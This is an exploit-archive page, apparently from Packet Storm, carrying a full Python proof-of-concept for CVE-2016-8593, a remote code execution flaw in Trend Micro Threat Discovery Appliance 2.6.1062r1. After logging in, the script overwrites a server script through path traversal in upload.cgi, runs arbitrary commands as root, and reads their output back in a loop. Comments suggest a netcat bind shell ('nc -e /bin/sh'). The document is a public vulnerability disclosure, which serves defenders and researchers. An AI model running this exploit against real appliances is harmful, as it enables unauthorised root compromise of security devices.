Exploit the possiblities

Trend Micro Threat Discovery Appliance 2.6.1062r1 upload.cgi Remote Code Execution

Trend Micro Threat Discovery Appliance 2.6.1062r1 upload.cgi Remote Code Execution
Posted Apr 19, 2017
Authored by Roberto Suggi Liverani, mr_me

Trend Micro Threat Discovery Appliance versions 2.6.1062r1 and below suffer from an upload.cgi remote code execution vulnerability.

tags | exploit, remote, cgi, code execution
advisories | CVE-2016-8593
MD5 | 4f9ee58cfbe5fe18bbb4aa1a4926eca7

Trend Micro Threat Discovery Appliance 2.6.1062r1 upload.cgi Remote Code Execution

Change Mirror Download
#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 upload.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

There exists a post authenticated upload vulnerability that can be used to execute arbitrary code.

Notes:
======

- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
take command, upload bd, exec, read, rinse, repeat.

- You maybe can get a binded netcat using '`nc -e /bin/sh -lp 1337`' but this at times broke the cgi and the rest of the
log_query_system.cgi was unstable.

- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...

Example:
========

saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py 172.16.175.123 admin123
(+) logged in...
(+) popping shell, type 'exit' to exit.
$ id
uid=0(root) gid=0(root)
$ uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
$ pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
$ exit
"""

import sys
import re
import requests

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 3:
print "(+) usage: %s <target> <pass>" % sys.argv[0]
print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
u_url = "%scgi-bin/upload.cgi?dID=../../opt/TrendMicro/MinorityReport/www/cgi-bin/log_cache.sh" % bu
e_url = "%scgi-bin/log_query_system.cgi" % bu
r_url = "%snonprotect/si.txt" % bu

s = requests.Session()

# first we login...

r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
print "(+) logged in..."
print "(+) popping shell, type 'exit' to exit."
cmd = ''
while (cmd.lower() != "exit"):
cmd = raw_input("$ ")
if cmd.lower() == "exit":
continue

# now we upload to crush the log_cache.sh script
bd = "`%s>/opt/TrendMicro/MinorityReport/www/nonprotect/si.txt`" % cmd
u = {
'ajaxuploader_file': ('si', bd, 'text/plain'),
}
r = s.post(u_url, files=u, verify=False)

# now we have to get the cmd executed...
r = s.post(e_url, data={'act':'search','cache_id':''}, verify=False)

# now we get the result
r = s.get(r_url, verify=False)
print r.text.rstrip()
else:
print "(-) login failed"
sys.exit(-1)

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